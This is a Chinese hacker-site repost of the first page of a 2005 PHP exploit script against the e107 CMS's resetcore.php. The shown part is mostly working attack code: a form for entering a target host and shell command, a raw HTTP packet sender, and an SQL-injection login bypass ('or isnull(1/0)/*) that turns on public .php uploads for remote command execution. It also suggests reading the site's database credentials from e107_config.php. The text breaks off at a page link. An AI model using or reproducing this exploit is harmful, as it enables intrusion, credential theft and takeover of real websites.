| 首页 | 技术文章 | 软件下载 | 博客 | 论坛 | 精品教程 | 黑客动画 | 视频资源 | 在线服务 | 黑客游戏 | 

您现在的位置: 中国X黑客小组 >> 技术文章 >> 黑客技术 >> Exploit >> 文章正文 用户登录 新用户注册
  e107 <= 0.6172 (resetcore.php) Remote SQL Injection Exploit         ★★★ 【字体:
e107 <= 0.6172 (resetcore.php) Remote SQL Injection Exploit
作者:未知    文章来源:CnXHacker.Net    点击数:    更新时间:2005-10-18    

<?php

#   0.27 18/10/2005                                                            #

#                                                                              #

#   ---e017_xpl.php                                                            #

#                                                                              #

#   e107 0.617 resetcore.php SQL Injection & remote code execution  all-in-one #

#                                                                              #

#                                 by rgod                                      #

#                      site: http://rgod.altervista.org                        #

#                                                                              #

#   make these changes in php.ini if you have troubles                         #

#   to launch this script:                                                     #

#   allow_call_time_pass_reference = on                                        #

#   register_globals = on                                                      #

#                                                                              #

#   usage: customize for your own pleasure, launch this script from Apache,    #

#   fill requested fields, then go!                                            #

#                                                                              #

#   Sun-Tzu: "There is a proper season for making attacks with fire, and       #

#   special days for starting a conflagration. The proper season is when       #

#   the weather is very dry; the special days are those when the moon is       #

#   in the constellations of the Sieve, the Wall, the Wing or the Cross-bar;   #

#   for these four are all days of rising wind."                               #



error_reporting(0);

ini_set("max_execution_time",0);

ini_set("default_socket_timeout", 2);

ob_implicit_flush (1);



echo'<html><head><title>e107 0.617 remote commands execution       </title><meta

http-equiv="Content-Type"   content="text/html;  charset=iso-8859-1">     <style

type="text/css"> body {	background-color:#111111; SCROLLBAR-ARROW-COLOR:#ffffff;

SCROLLBAR-BASE-COLOR: black;    CURSOR: crosshair;    color:   #1CB081; }    img

{background-color:   #FFFFFF   !important}  input  {background-color:    #303030

!important} option {  background-color:   #303030   !important}         textarea

{background-color: #303030 !important} input {color: #1CB081 !important}  option

{color: #1CB081 !important} textarea {color: #1CB081 !important}        checkbox

{background-color: #303030 !important} select {font-weight: normal;       color:

#1CB081;  background-color:  #303030;}  body  {font-size:  8pt       !important;

background-color:   #111111;   body * {font-size: 8pt !important} h1 {font-size:

0.8em !important}   h2   {font-size:   0.8em    !important} h3 {font-size: 0.8em

!important} h4,h5,h6    {font-size: 0.8em !important}  h1 font {font-size: 0.8em

!important} 	h2 font {font-size: 0.8em !important}h3   font {font-size: 0.8em

!important} h4 font,h5 font,h6 font {font-size: 0.8em !important} * {font-style:

normal !important} *{text-decoration: none !important} a:link,a:active,a:visited

{ text-decoration: none ; color : #1CBc81; } a:hover{text-decoration: underline;

color : #1CB081; } .Stile5 {font-family: Verdana, Arial, Helvetica,  sans-serif;

font-size: 10px; } .Stile6 {font-family: Verdana, Arial, Helvetica,  sans-serif;

font-weight:bold; font-style: italic;}--></style></head><body><p class="Stile6">

e107 0.617 resetcore.php SQL injection & remote commands execution </p>      <p>

<class="Stile6"> a  script     byrgod  at <a href="http://rgod.altervista.org"

target="_blank">http://rgod.altervista.org</a></p> <table width="84%"><tr>   <td

width="43%">      <form name="form1" method="post" action="'.$SERVER[PHP_SELF].'

?path=value&host=value&port=value&command=value&proxy=value">   <p>       <input

type="text" name="host"><span class="Stile5"> hostname    (ex: www.sitename.com)

</span></p><p> <input type="text" name="path"><span class="Stile5">path (ex: /e1

07/ or just /)</span></p><p><input type="text" name="port"><span class="Stile5">

specify a port other than 80 (default value)  </span> </p> <p><input type="text"

name="command"><span class="Stile5">a shell command,    cat ./../../e107_config.

php to see database username/password  </span>  </p>  <p>   <input   type="text"

name="proxy"><span class="Stile5">send exploit through an HTTP  proxy  (ip:port)

</span></p><p><input type="submit" name="Submit" value="go!">   </p></form></td>

</tr></table></body></html>';



function show($headeri)

{

$ii=0;

$ji=0;

$ki=0;

$ci=0;

echo '<table border="0"><tr>';

while ($ii <= strlen($headeri)-1)

{

$datai=dechex(ord($headeri[$ii]));

if ($ji==16) {

             $ji=0;

             $ci++;

             echo "<td>&nbsp;&nbsp;</td>";

             for ($li=0; $li<=15; $li++)

                      { echo "<td>".$headeri[$li+$ki]."</td>";

			    }

            $ki=$ki+16;

            echo "</tr><tr>";

            }

if (strlen($datai)==1) {echo "<td>0".$datai."</td>";} else

{echo "<td>".$datai."</td> ";}

$ii++;

$ji++;

}

for ($li=1; $li<=(16 - (strlen($headeri) % 16)+1); $li++)

                      { echo "<td>&nbsp&nbsp</td>";

                       }



for ($li=$ci*16; $li<=strlen($headeri); $li++)

                      { echo "<td>".$headeri[$li]."</td>";

			    }

echo "</tr></table>";

}





function sendpacket($packet)

{

global $proxy, $host, $port, $html;

if ($proxy=='')

           {$ock=fsockopen(gethostbyname($host),$port);}

             else

           {

	   $proxy=trim($proxy);

 	   $parts=explode(':',$proxy);

       echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>';

	    $ock=fsockopen($parts[0],$parts[1]);

	    if (!$ock) { echo 'No response from proxy...';

			die;

		       }

	   }

fputs($ock,$packet);

if ($proxy=='')

  {



    $html='';

    while (!feof($ock))

      {

        $html.=fgets($ock);

      }

  }

else

  {

    $html='';

    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html)))

    {

      $html.=fread($ock,1);

    }

  }

fclose($ock);

echo nl2br(htmlentities($html));

}





if (($path<>'') and ($host<>'') and ($command<>''))

{



$port=intval($port);

if (($port=='') or ($port<=0)) {$port=80;}

if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}

if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}

echo 'Initiating exploit against '.htmlentities($host).':'.htmlentities($port);



#STEP 1 -> SQL INJECTION in resetcore.php, bypass login and change upload settings

$data.="sitename=e107+powered+website&siteurl=".urlencode('http://'.$host.':'.$port.$path)."

&sitebutton=button.png&sitetag=e107+website+system&sitedescription=&siteadmin=suntzu

&siteadminemail=fakefakefake@suntzu.com&sitetheme=e107v4a&admintheme=e107v4a

&sitedisclaimer=All+trademarks+are+%A9+their+respective+owners%2C+all+other+content+

is+%A9+e107+powered+website.%3Cbr+%2F%3Ee107+is+%A9+e107.org+2002%2F2003+and+is+released+under+the+%

3Ca+href%3D%27http%3A%2F%2Fwww.gnu.org%2F%27%3EGNU+GPL+license%3C%2Fa%3E.

&newsposts=10&flood_protect=1&flood_timeout=5&flood_time=30&flood_hits=100&anon_post=1

&user_reg=1&use_coppa=1&profanity_filter=1&profanity_replace=%5Bcensored%5D&chatbox_posts=10&

smiley_activate=&log_activate=&log_refertype=1&longdate=%25A+%25d+%25B+%25Y+-+%25H%3A%25M%3A%25S&

shortdate=%25d+%25b+%3A+%25H%3A%25M&forumdate=%25a+%25b+%25d+%25Y%2C+%25I%3A%25M%25p&sitelanguage=

English&maintainance_flag=0&time_offset=0&cb_linkc=+-link-+&cb_wordwrap=20&cb_linkreplace=1&

log_lvcount=10&meta_tag=&user_reg_veri=1&email_notify=0&forum_poll=0&forum_popular=10&forum_track=0&

forum_eprefix=%5Bforum%5D&forum_enclose=1&forum_title=Forums&forum_postspage=10&user_tracking=cookie&

cookie_name=e107cookie&resize_method=gd2&im_path=%2Fusr%2FX11R6%2Fbin%2Fconvert&im_quality=80&

im_width=120&im_height=100&upload_enabled=1&upload_allowedfiletype=.php&

upload_storagetype=2&upload_maxfilesize=&upload_class=254&cachestatus=&displayrendertime=1&

displaysql=&displaythemeinfo=1&link_submit=1&link_submit_class=0&timezone=GMT&search_restrict=1&

antiflood1=1&antiflood_timeout=10&autoban=1&coreedit_sub=Save+Core+Settings&a_name=";

$data.=urlencode("'or isnull(1/0)/*")."&a_password=d41d8cd98f00b204e9800998ecf8427e";

//                       ^                                  ^

//                       |                                  |

//            here we have login bypass ;)        hash of [nothing]

//so, you see, we activate public uploads and .php extensions for attachments

$packet="POST ".$p."e107_files/resetcore.php HTTP/1.1\r\n";

[1] [2] 下一页

文章录入:IceRiver    责任编辑:IceRiver 
  • 上一篇文章:

  • 下一篇文章:
  • 发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口
    最新热点 最新推荐 相关文章
    瑞星公司09月10日发布 每日计
    瑞星公司09月07日发布 每日计
    金山WPS Office 2007意外泄露
    瑞星公司08月10日发布 每日计
    动网8.0爆出漏洞 建议用户更
    NSFOCUS 2007年07月之十大安
    网络安全自我防范知识 上网冲
    瑞星公司08月07日发布 每日计
    瑞星公司07月31日发布 每日计
    瑞星公司07月30日发布 每日计
      网友评论:(只显示最新5条。评论内容只代表网友观点,与本站立场无关!)
    Powered by ICE RIVER - STUDIO
    » CnXHacker.CoM   © CopyRight 2002-2006, CnXHacker.CoM™, Inc. All Rights Reserved.